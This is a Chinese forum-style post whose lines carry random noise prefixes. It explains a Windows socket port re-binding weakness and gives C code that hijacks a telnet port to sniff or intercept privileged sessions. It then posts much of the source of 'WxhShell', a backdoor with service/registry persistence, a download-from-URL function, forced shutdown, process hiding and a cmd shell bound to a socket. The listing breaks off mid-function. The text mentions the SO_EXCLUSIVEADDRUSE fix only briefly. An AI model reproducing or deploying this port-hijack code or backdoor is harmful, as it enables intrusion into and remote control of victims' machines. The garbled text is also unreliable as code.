在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
KVUub'k s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
~$hR:I1 .?LRt saddr.sin_family = AF_INET;
k!'+7K. MU\Pggs saddr.sin_addr.s_addr = htonl(INADDR_ANY);
>y(loMl 1b 2 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
,+I]\ZeO 0Ng?U+6 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
M^>l>?#rl 5)5yH bS 这意味着什么?意味着可以进行如下的攻击:
8si{|*;hL -Q&@P3x 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
S4-jF D)U B<n[yiJ} 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
7S=,# dDD5OnWmJ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
O f-xGoYZ S.q0L 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
yK$aVK" P ?nk> 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
gsl_aW! 8Op^6rX4 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
jzBW'8 _*b`;{3 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
leI ]zDk= KWAd~8,mk #include
`"<hO
'WU #include
lP*=4Jh #include
`AvK=] #include
G6G-qqXy6 DWORD WINAPI ClientThread(LPVOID lpParam);
FK`:eP{ int main()
zmL
VFGnS {
?mSZQF:d@ WORD wVersionRequested;
NJV kn~< DWORD ret;
Q
w - z WSADATA wsaData;
P#`M8k BOOL val;
z%iPk'^ SOCKADDR_IN saddr;
S8v?H|rm SOCKADDR_IN scaddr;
-;FAS3(wy int err;
`%"x'B`mM SOCKET s;
+
#E?) SOCKET sc;
/e*fsQ>M: int caddsize;
#y[omla8 HANDLE mt;
c h((u(G DWORD tid;
K2e*AE* wVersionRequested = MAKEWORD( 2, 2 );
wu`+KUx err = WSAStartup( wVersionRequested, &wsaData );
U^% )BI if ( err != 0 ) {
c~;VvYu printf("error!WSAStartup failed!\n");
X.[bgvm~C return -1;
N:'!0|6?x- }
C=v+e%)x@ saddr.sin_family = AF_INET;
+v:]#1 O:pg+o& //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
|@yYM-;6
;Q4,I[?% saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
aDxNAfP
saddr.sin_port = htons(23);
AXSip if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
~TeOl|!lE+ {
Un,'a8>V` printf("error!socket failed!\n");
udIm}jRA" return -1;
-.ZP<,?@F }
\i@R5v=zL val = TRUE;
.:B>xg~2 //SO_REUSEADDR选项就是可以实现端口重绑定的
!!)$?R;1 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
,4 _H{+M {
b-#lKWso printf("error!setsockopt failed!\n");
D6+3f#k6 return -1;
"5O>egt }
a?8)47) //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
v+`'%E //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
R5(([C1 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
z,7;+6*=L @:#J^CsM+' if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
+ G[zE {
|yzv o"3 ret=GetLastError();
zUZET'Bm9 printf("error!bind failed!\n");
CSq|R-@<U return -1;
ksuePMIK }
b6sf1E listen(s,2);
&}7R\co3 while(1)
gsM^Pu09ud {
|G$-5
7fk caddsize = sizeof(scaddr);
Dm8fcD //接受连接请求
g,M-[o=Fk sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
RWo7_X O if(sc!=INVALID_SOCKET)
I"x|U[*B {
b=pk;'- mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
J:>o\%sF if(mt==NULL)
zwJ&K;"y( {
J'7;+.s( printf("Thread Creat Failed!\n");
2nCc(F&+? break;
XM*5I4V }
v1X[/\;U }
D1 v0`od' CloseHandle(mt);
-PGxG 8S }
5B2p_$W# closesocket(s);
jgG9?w)|u WSACleanup();
9#&H'mG return 0;
i20y\V
os? }
.Y?]r6CC/ DWORD WINAPI ClientThread(LPVOID lpParam)
LP|YW*i=IQ {
|UMm>.\' SOCKET ss = (SOCKET)lpParam;
t8h*SHD9 SOCKET sc;
-T{2R:\{ unsigned char buf[4096];
-l[$+Kw1S SOCKADDR_IN saddr;
xS5 -m6/ long num;
q >>1?hzA DWORD val;
~yw]<{ ? DWORD ret;
~LV]cX2J( //如果是隐藏端口应用的话,可以在此处加一些判断
>dm9YfQ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Fb8d=Zc saddr.sin_family = AF_INET;
hhZ%{lqL saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
" M?dU^U^ saddr.sin_port = htons(23);
udA@9a^; if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
PuGs%{$(h {
f+n {9Hz printf("error!socket failed!\n");
qTdwi?j_ return -1;
{ AYW
C6Y }
NFx%e val = 100;
-)')PV_+ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
V@-Q&K# {
Hv^Bw{"/R ret = GetLastError();
6vE#$(n#a& return -1;
DwGM+)! }
./Ek+p*96H if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Bl8|`R^g {
B>!mD{N ret = GetLastError();
JW^ ${4 return -1;
JJ_Z{ }
~S;-sxoO0l if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Q>Z~={" {
E&y)`>Nq{ printf("error!socket connect failed!\n");
Xy=ETV% closesocket(sc);
3x+=7Mg9 closesocket(ss);
};9s8VZE return -1;
,h'Q }
iCg%$h while(1)
e"eIQI|N {
&;P\e //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
u^{p'a' //如果是嗅探内容的话,可以再此处进行内容分析和记录
js <Up/1 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
IjRUr \ l num = recv(ss,buf,4096,0);
>Jx=k"Kv+ if(num>0)
[w@S/K[_| send(sc,buf,num,0);
GU2TQx{V else if(num==0)
MQN~I^v3 break;
J@_^] num = recv(sc,buf,4096,0);
_",(!( if(num>0)
L@6]~[JvP send(ss,buf,num,0);
w->Y92q] else if(num==0)
,
ftJw break;
s=jYQ5nv }
$9Bzq_! closesocket(ss);
i({\fb|0 closesocket(sc);
!'F1Ht return 0 ;
YF-E1`+?< }
n~|?)EL 2 A!*8w H8? Y{H ==========================================================
xp95KxHHo S!=R\_{u$ 下边附上一个代码,,WXhSHELL
IBJNs$ -#T%* ==========================================================
d!R+-Fp ZZo<0kDk #include "stdafx.h"
#.HnO_sK_ l~]] RgU #include <stdio.h>
*(q?O_3,b #include <string.h>
AmDOv4 #include <windows.h>
Q> y! #include <winsock2.h>
_1G/qHf^S #include <winsvc.h>
&k}B66 #include <urlmon.h>
>(igVaZ> q 9xA.* #pragma comment (lib, "Ws2_32.lib")
^#Q-?O #pragma comment (lib, "urlmon.lib")
V^[&4 #vyf*jPr #define MAX_USER 100 // 最大客户端连接数
cw
2!V@ #define BUF_SOCK 200 // sock buffer
54>0Dv??H #define KEY_BUFF 255 // 输入 buffer
O]=jI 1aRTvaGo #define REBOOT 0 // 重启
W&
0R/y7 #define SHUTDOWN 1 // 关机
!PEKMDh FauASu,A #define DEF_PORT 5000 // 监听端口
sa o & h>GbJ/^ #define REG_LEN 16 // 注册表键长度
T{+a48,; #define SVC_LEN 80 // NT服务名长度
~<VxtcEBz MT>(d*0s // 从dll定义API
6X h7Bx1 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
v(.mM9> typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
~=OJCKv5( typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
]9w)0iH typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
,>6a)2xh 4uoZw3O // wxhshell配置信息
QH(&Cu, struct WSCFG {
k $gcQ:| int ws_port; // 监听端口
Sj(>G; char ws_passstr[REG_LEN]; // 口令
EDgtn)1 int ws_autoins; // 安装标记, 1=yes 0=no
{*O+vtir% char ws_regname[REG_LEN]; // 注册表键名
Bv@p9 ]
n char ws_svcname[REG_LEN]; // 服务名
TCyev[( char ws_svcdisp[SVC_LEN]; // 服务显示名
o<!H/PN char ws_svcdesc[SVC_LEN]; // 服务描述信息
T2w4D! char ws_passmsg[SVC_LEN]; // 密码输入提示信息
ZOV,yuD{8{ int ws_downexe; // 下载执行标记, 1=yes 0=no
zi6J|u char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
6z U char ws_filenam[SVC_LEN]; // 下载后保存的文件名
F=e;[uK\ -Z,r\9d };
`Ze$Bd\ UG`~RO // default Wxhshell configuration
Y(7&3+'K struct WSCFG wscfg={DEF_PORT,
@~ke=w6&pe "xuhuanlingzhe",
vkGF_aenk 1,
|wuTw| "Wxhshell",
A)n_ST0 "Wxhshell",
LZ_VLW9wE "WxhShell Service",
,S`n?.&& 7 "Wrsky Windows CmdShell Service",
5O]tkHYR "Please Input Your Password: ",
i&6U5Va,G 1,
vPYHM2 "
http://www.wrsky.com/wxhshell.exe",
%4!^AA% "Wxhshell.exe"
#*CMf.OCh };
^ei[1# S5>ztK.e // 消息定义模块
BE@(| U char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
m"Mj3Z: char *msg_ws_prompt="\n\r? for help\n\r#>";
>Df;1:U char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
A? B+ char *msg_ws_ext="\n\rExit.";
+0%r@hTv&> char *msg_ws_end="\n\rQuit.";
56s%Qlgx char *msg_ws_boot="\n\rReboot...";
0g:q%P0 char *msg_ws_poff="\n\rShutdown...";
W>w(|3\ char *msg_ws_down="\n\rSave to ";
EL3X8H tb~E.Lm\ char *msg_ws_err="\n\rErr!";
v4|TQ8!wR char *msg_ws_ok="\n\rOK!";
$nmt&lm ZXb{-b?[` char ExeFile[MAX_PATH];
M1m]1< int nUser = 0;
Xv!Gg6v6 HANDLE handles[MAX_USER];
&K'*67h int OsIsNt;
lJFy(^KQG, w#A\(z%;x SERVICE_STATUS serviceStatus;
y$-@|M$GG SERVICE_STATUS_HANDLE hServiceStatusHandle;
?eX$Wc{ AeEdqX) // 函数声明
71[?AmxV int Install(void);
~3gazTe9 int Uninstall(void);
sHBTB6)lx int DownloadFile(char *sURL, SOCKET wsh);
ghB&wOm/ int Boot(int flag);
.gC.T`/m void HideProc(void);
iLBORT!; int GetOsVer(void);
&)Qq%\EP4 int Wxhshell(SOCKET wsl);
#OM'2@ void TalkWithClient(void *cs);
MCibYvc[ int CmdShell(SOCKET sock);
P2jh[a% int StartFromService(void);
Ve"(}z int StartWxhshell(LPSTR lpCmdLine);
#|je m 8=Oym~ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
N}n3 +F VOID WINAPI NTServiceHandler( DWORD fdwControl );
+zch e iQ
Xlz]' // 数据结构和表定义
Yn [
F:Z SERVICE_TABLE_ENTRY DispatchTable[] =
*)w+xWmM3w {
%Jh(5 {wscfg.ws_svcname, NTServiceMain},
00i MU {NULL, NULL}
Ddq*}Pf0K };
J2x}@p 9b=0
4aWHm // 自我安装
Z|*#)<|~ int Install(void)
D%3$"4M7! {
sk9Ejaf6> char svExeFile[MAX_PATH];
(OE S~G HKEY key;
[8Y7Q5Had strcpy(svExeFile,ExeFile);
|Y}YhUI& 3]kM&lK5\ // 如果是win9x系统,修改注册表设为自启动
7P(o!%H if(!OsIsNt) {
o S%(~])\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
ldp9+7n~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
y[l{
UBue: RegCloseKey(key);
I>nYI|o1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
dO2?&f RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
_PPC?k{z! RegCloseKey(key);
j$_?g!I=gK return 0;
^cPVnl }
u(1m#xr8$ }
dDl+ }
0|-}>>qb\ else {
@a]cI 3t+{~{Dj // 如果是NT以上系统,安装为系统服务
M/.M~/~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
lq53
xT if (schSCManager!=0)
&D[M<7T {
3YLfh`6 SC_HANDLE schService = CreateService
hY{4_ie=8 (
YC 4c-M schSCManager,
FEu}zt@
wscfg.ws_svcname,
tx[;& ; wscfg.ws_svcdisp,
_I; hM SERVICE_ALL_ACCESS,
\,/ozfJ7dT SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
rG~W=!bj SERVICE_AUTO_START,
B=]L%~xL$ SERVICE_ERROR_NORMAL,
/2T
W?a svExeFile,
_J\zj NULL,
ejR$N!LL NULL,
+-;v+{ NULL,
qh6b;ae\x NULL,
r1IvA^X NULL
8i;drvf );
{ST8'hY if (schService!=0)
Lct_6? {
A3 TR'BFw- CloseServiceHandle(schService);
0B9FPpx? : CloseServiceHandle(schSCManager);
.4E24FB[f? strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
\6a' p
Q, strcat(svExeFile,wscfg.ws_svcname);
rU9")4sQ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
PO'K?hVS^w RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
lGp:rw` RegCloseKey(key);
{~51h}>b# return 0;
L''VBY"? }
-eV*I>G }
x1wD`r CloseServiceHandle(schSCManager);
H(n
fHp.3 }
S"Vr+x? }
UGM:'xa<T 9=iMP~?xF return 1;
d!<>Fh^6, }
j^b&Q L T`T~|pz // 自我卸载
YY tVp_) int Uninstall(void)
Y'P^]Q=}_# {
k~<Ozx^AyY HKEY key;
K'8?%&IQ 4IW90"uc if(!OsIsNt) {
7lF;(l^Z>} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
l<=k#d RegDeleteValue(key,wscfg.ws_regname);
N4VZl[7? RegCloseKey(key);
}T}c%p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
*wqR .n? RegDeleteValue(key,wscfg.ws_regname);
_G-6G=q RegCloseKey(key);
VWdTnu return 0;
Tg@G-6u0c }
.Gr"|uII }
3nhQ^zqf }
pK{G2]OK{U else {
Vo{
~D:) jl7> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
/-lW$.+{? if (schSCManager!=0)
zBTxM {
3VMaD@nYa SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
|]q{qsy if (schService!=0)
4?(=?0/[ {
LQ Ux} if(DeleteService(schService)!=0) {
A6_ER&9$>N CloseServiceHandle(schService);
N!?~Dgw CloseServiceHandle(schSCManager);
&~.|9P/45 return 0;
nw*a?$S3 }
{s*1QBM$\Z CloseServiceHandle(schService);
~a7@O^q4 }
\hlS?uD\ CloseServiceHandle(schSCManager);
TGG=9a]m }
mg70%=qM0f }
`_neYT G~&q
return 1;
23=wz%tF }
\[]BB5)8 jsV1~1:83 // 从指定url下载文件
K-*ZS8 int DownloadFile(char *sURL, SOCKET wsh)
JT6Be8
{
g] IPNW^n HRESULT hr;
i/8OC char seps[]= "/";
\N? lG q char *token;
%ByqkY{5F char *file;
DD7D&@As char myURL[MAX_PATH];
.{;RJ:O char myFILE[MAX_PATH];
>PdrLwKS pkG8g5(w strcpy(myURL,sURL);
BB1_EdoG token=strtok(myURL,seps);
2^5RQl/ while(token!=NULL)
{Ho _U&< {
S9b=?? M) file=token;
rwwyYIlEg token=strtok(NULL,seps);
'R$/Qt;uA }
5A %TpJ k+@ :+RL GetCurrentDirectory(MAX_PATH,myFILE);
=VWH8w.3 strcat(myFILE, "\\");
[ot+EA strcat(myFILE, file);
-ImO y| send(wsh,myFILE,strlen(myFILE),0);
W>x.*K send(wsh,"...",3,0);
Zn|lL0b{q hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Wa?\W& if(hr==S_OK)
IA=\c return 0;
]U4C2}u else
:[_k .1-+ return 1;
-DZ5nx j~Ci*'*L }
DvI^3 iG8 M>BVnB_,- // 系统电源模块
ms&5Bq+9 int Boot(int flag)
KxJDAP {
|a0@4
: HANDLE hToken;
ffOV7Dxy TOKEN_PRIVILEGES tkp;
h}m9L!+n8 0'5N[Bvp if(OsIsNt) {
?v+el, OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
GIkVU6Q} LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Fkqw#s(T tkp.PrivilegeCount = 1;
Aba%QQQ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
33"!K>wC AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
=ZV+*cCC=q if(flag==REBOOT) {
dt=M#+g if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
lH,/N4r*& return 0;
L[+4/a!HQ }
(G>g0(;D- else {
o|s|Wmx>u if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
8RZqoQDH return 0;
&$pQ Jf }
Ni;jMc }
EUPc+D3 else {
e/)Vx'd`+ if(flag==REBOOT) {
?%>S5,f_ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
3P'Wk|j return 0;
zb!RfQ, }
\%W"KLP else {
0o@eE3^ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
"GxQ9=Z return 0;
@C~gU@F }
+=kz".$ }
2-#&ktM%V b u/GaE~ return 1;
*u>[ }
#("E)P }f6_7W%5 // win9x进程隐藏模块
*@ S+J$ void HideProc(void)
2) Q/cH\g {
Qyj:!-o 0bQ"s*K HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
@7?L+.r$9 if ( hKernel != NULL )
*APTgXYR {
SQG9m2 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
f Lns^ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
UtB~joaR FreeLibrary(hKernel);
+4]f6Zz({ }
ir;az{T#U #.@D}7y5 return;
kbx4I? }
al]-*=v7} Cj6$W5I m // 获取操作系统版本
thh0~g0/ int GetOsVer(void)
2B=BRVtSs {
7nawnS OSVERSIONINFO winfo;
OJ#
d winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
1|7tq GetVersionEx(&winfo);
)3!z2f: e if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
k`0m|<$ return 1;
mw${3j~& else
7}fT7tsN return 0;
K3J,f2Cn$ }
? C6tYd *b(nX,e // 客户端句柄模块
HhqNpU int Wxhshell(SOCKET wsl)
F*,RDM'M {
Vfr.Yoy SOCKET wsh;
]RI+:f struct sockaddr_in client;
T^nOv2@, DWORD myID;
S),acc(d H')8p;~{} while(nUser<MAX_USER)
x?G"58 {
K|wB0TiXP int nSize=sizeof(client);
OGnuBK wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
%Wg8dy| if(wsh==INVALID_SOCKET) return 1;
V.kf@ P?`a{sl. handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
?wZ`U
Oi if(handles[nUser]==0)
!X<dN.. closesocket(wsh);
?Lquf&`vP else
`mDCX nUser++;
^" UZ.@sq' }
-pm%F8{T] WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
9.l*#A^
[Pz['q L3t return 0;
+)e+$
l }
|il P>b Zopi;O J // 关闭 socket
#J*hZ(Pq void CloseIt(SOCKET wsh)
39Tlt~Psz {
9h0Y">}`b closesocket(wsh);
Au{J/G<W@ nUser--;
te#Wv9x ExitThread(0);
LVBE+{P\5? }
P^m&oH5]EG _G^Cc}X // 客户端请求句柄
@A8@j%CK1 void TalkWithClient(void *cs)
j4]y(AA {
Q;eY]l8 "|d# +C SOCKET wsh=(SOCKET)cs;
!,cfA';S char pwd[SVC_LEN];
LCemM; o char cmd[KEY_BUFF];
L-Pq/x2r char chr[1];
t'bhA20Z\ int i,j;
~>>^7oq u:%Ln_S while (nUser < MAX_USER) {
' )KuLVE}S `:YCOF if(wscfg.ws_passstr) {
g3vR\?c` if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
l
!:kwF //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Z3z"c
B //ZeroMemory(pwd,KEY_BUFF);
C;XhnqWv+l i=0;
4)E$. F^ while(i<SVC_LEN) {
+Z=DvKsTJ 'Em633 // 设置超时
.%+y_.l fd_set FdRead;
wF$z ?L struct timeval TimeOut;
&O^t]7 FD_ZERO(&FdRead);
iO{LsG*5Z FD_SET(wsh,&FdRead);
}o@Dsx5 TimeOut.tv_sec=8;
&[y+WrGG TimeOut.tv_usec=0;
XW q@47FR int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
j4}Q if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
V5bB$tL}3 LHd9q^D if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
*w[0uQL5Z pwd
=chr[0]; NbUbLzE
if(chr[0]==0xd || chr[0]==0xa) { DN;3VT.-
pwd=0; z?'z{+HY
break; "g&hsp+i"A
} i^"!"&tW#
i++; Nh"U~zlh
} g0:{{w
zx;~sUR;
// 如果是非法用户,关闭 socket U,7}VdO
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jUd)|v+t
} QEc4l[^{.B
sff4N>XAl<
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J3_Ou2cF`
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L4or*C^3
E$USam
while(1) { Pd;G c@'~
0@kL<\u
ZeroMemory(cmd,KEY_BUFF); CX#d9
8\b
:*WiswMFm
// 自动支持客户端 telnet标准 w7b\?]}@
j=0; WlmkM?@
while(j<KEY_BUFF) { `zsooA
Gt
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nG0R1<
cmd[j]=chr[0]; (0^ZZe`#j
if(chr[0]==0xa || chr[0]==0xd) { )_SpY\J
cmd[j]=0; k[{ ~eN:
break; {fS~G2@1
} {_~vf
j++; ayQ2#9X}
} 'C)
v?!19
DIx.a^LR
// 下载文件 J7+[+Y
if(strstr(cmd,"http://")) { =TJ9Gr/R&:
send(wsh,msg_ws_down,strlen(msg_ws_down),0); hr3<vWAD
if(DownloadFile(cmd,wsh)) puox^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); du_~P"[
else N."x@mV
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d8K|uEHVz
} .:~E.b
else { z"f+;1
vF1Fcp.@
switch(cmd[0]) { %BF,;(P
qIvnPaYW
// 帮助 [G'
+s
case '?': { j%=X
ps
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (h'Bz6K
break; r0*Y~
KHw
} ;2[),k
// 安装 o2!wz8
case 'i': { 6o4Y]C2W{1
if(Install()) ~]SCf@pRk
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 63/a 0Yn
else zJov*^T-C
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); afE)yu`
break; ]Hg6Mz>Mj
} t8M\
// 卸载 m~-O}i~)
case 'r': { 1@n'6!]6O
if(Uninstall()) v Q,<Ke+d
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ox5WboL
else Z?u}?-b1\H
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3%)@c P:?
break; (C0Wty
} Z{x)v5yh2V
// 显示 wxhshell 所在路径 m"!Q5[
case 'p': { c2-oFLNP=
char svExeFile[MAX_PATH]; Y=t?"E
strcpy(svExeFile,"\n\r"); IZs&7
strcat(svExeFile,ExeFile); J vq)%t8q>
send(wsh,svExeFile,strlen(svExeFile),0); 2}15FXgN
break; '3?-o|v@D
} nf1O8FwRb
// 重启 wV-9T*QrM
case 'b': { <!F".9c@A
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8*Ty`G&v
if(Boot(REBOOT)) vIf-TQw
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !,]2.:{0z
else { c#TV2@
closesocket(wsh); U9jdb9 |
ExitThread(0); {.ypZ8JU
} (__$YQ-
break; {vdY(
} \&47u1B
// 关机 WtO@Kf:3GH
case 'd': { d:"7Tw2v+
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yhrjML2K
if(Boot(SHUTDOWN)) HuR774f[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); M4(57b[`
else { (I/iD.A
closesocket(wsh); ]-_ ma
ExitThread(0); "z*.Bk
} ?TJ4L/"(k6
break; sDAP'&
} E1SWZ&';
// 获取shell bo1J'pU
case 's': { sf/m@425
CmdShell(wsh); TbLU[(m-n
closesocket(wsh); ~'F.tB
ExitThread(0); H3 -?cy
break; e=3C*+lq\
} ?d+ri
// 退出 [5tvdW6Z&
case 'x': { A1r%cs
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %J Jp/I
CloseIt(wsh); `vz7}TY
break; R+z'6&/ =I
} Kp^"<%RT
// 离开 5h |aX
case 'q': { ix$
^1(
send(wsh,msg_ws_end,strlen(msg_ws_end),0); >'4$g7o,
closesocket(wsh); #%w+PL:*O
WSACleanup(); maeQ'Sv_&
exit(1); oY0*2~sg
break; t2Jf+t_B7
} %!eRR
} G|RBwl
} }ice*3'3
vKWi?}1
// 提示信息 o")"^@Zhi
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h?v8b+:0
} :aBm,q9i:}
} TQb@szp:|
EIfqRRTA
return; ]#W7-Q;]
} /q}(KJX
/nsBUM[;
// shell模块句柄 HDTA`h?t;
int CmdShell(SOCKET sock) hnH<m7
{ }a#T\6rY
STARTUPINFO si; ||fw!8E
ZeroMemory(&si,sizeof(si)); yYSmmgrX0
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ghc
U~
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %?, 7!|Ls
PROCESS_INFORMATION ProcessInfo; !#~KSO}zW2
char cmdline[]="cmd"; Uk*(C(
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v_Df+
return 0; Z=Cw7E
} w>8kBQ?b
&-{%G=5~e%
// 自身启动模式 M$Bb,s
int StartFromService(void) QmSMDWkh
{ @$!6u0x
typedef struct O2?yI8|Jn
{ FPkk\[EU
